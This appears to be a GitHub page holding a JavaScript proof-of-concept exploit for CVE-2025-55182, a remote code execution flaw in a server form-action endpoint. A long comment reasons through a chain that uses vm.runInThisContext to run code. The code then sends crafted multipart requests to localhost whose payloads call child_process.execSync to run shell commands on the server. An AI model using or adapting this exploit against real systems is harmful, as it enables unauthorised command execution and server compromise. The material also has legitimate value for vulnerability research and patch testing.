-
Notifications
You must be signed in to change notification settings - Fork 205
Expand file tree
/
Copy pathexploit-rce-v4.js
More file actions
121 lines (111 loc) · 3.97 KB
/
exploit-rce-v4.js
File metadata and controls
121 lines (111 loc) · 3.97 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
/**
* CVE-2025-55182 RCE - The Final Chain
*
* CONFIRMED:
* - $F1 in bound resolves to the actual function (promisify)
* - $1:constructor:constructor resolves to Function
* - We can nest these!
*
* GOAL: Make fn = Function, bound = ["code"]
* Then: Function.bind(null, "code")
* When called: Function("code") -> creates function
* But wait, that creates function, doesn't execute it
*
* ACTUAL GOAL: Make fn = Function.prototype.call or apply
* Then: call.bind(null, Function, "code")
* When called: call(Function, "code") -> Function.call(undefined, "code") -> Function("code")
* Still creates, doesn't execute...
*
* REAL INSIGHT: We need TWO calls
* 1. First call creates the function: Function("return 1")
* 2. Second call executes it
*
* But decodeAction only returns ONE function that gets called ONCE.
*
* UNLESS... we use a wrapper pattern:
* Function("return (function(){ return CODE })()")
* This creates a function that when evaluated, immediately executes!
*
* Wait no. Let me trace more carefully:
* - fn = Function
* - bound = ["return process.mainModule.require('child_process').execSync('id').toString()"]
* - fn.bind.apply(fn, [null, "return ..."]) = Function.bind(null, "return ...")
* - When called: Function("return ...") = function anonymous() { return ... }
* - This RETURNS A FUNCTION, doesn't execute it!
*
* The issue is Function() creates a function, it doesn't execute the body.
*
* What if we use eval instead of Function?
* eval is a property... of what? globalThis.eval
* Can we access globalThis from the module?
*
* Actually - vm.runInThisContext("code") DOES execute!
* If fn = vm.runInThisContext and bound = ["code"],
* then runInThisContext.bind(null, "code")
* when called: runInThisContext("code") -> EXECUTES!
*
* I already have vm in the manifest!
*/
const http = require('http');
async function sendRequest(formFields) {
const boundary = '----Boundary';
const parts = [];
for (const [name, value] of Object.entries(formFields)) {
parts.push('--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="' + name + '"\r\n\r\n' +
value + '\r\n');
}
parts.push('--' + boundary + '--\r\n');
const body = parts.join('');
return new Promise((resolve, reject) => {
const req = http.request({
hostname: 'localhost', port: 3002, path: '/formaction',
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data; boundary=' + boundary,
'Content-Length': Buffer.byteLength(body)
}
}, (res) => {
let data = '';
res.on('data', chunk => data += chunk);
res.on('end', () => resolve({ status: res.statusCode, data }));
});
req.on('error', reject);
req.write(body);
req.end();
});
}
async function main() {
console.log('=== CVE-2025-55182 - RCE via vm.runInThisContext ===\n');
// vm.runInThisContext(code) executes code and returns result
// If we can call it with our code as bound arg...
console.log('Test 1: Direct call to vm#runInThisContext with code');
let result = await sendRequest({
'$ACTION_REF_0': '',
'$ACTION_0:0': JSON.stringify({
id: 'vm#runInThisContext',
bound: ['1+1'] // Simple test first
})
});
console.log('1+1 =', result.data);
console.log('\nTest 2: vm.runInThisContext with require');
result = await sendRequest({
'$ACTION_REF_0': '',
'$ACTION_0:0': JSON.stringify({
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
})
});
console.log('RCE attempt:', result.data);
// If process.mainModule is undefined, try different approach
console.log('\nTest 3: Using global.process');
result = await sendRequest({
'$ACTION_REF_0': '',
'$ACTION_0:0': JSON.stringify({
id: 'vm#runInThisContext',
bound: ['global.process.mainModule.require("child_process").execSync("id").toString()']
})
});
console.log('RCE attempt 2:', result.data);
}
main().catch(console.error);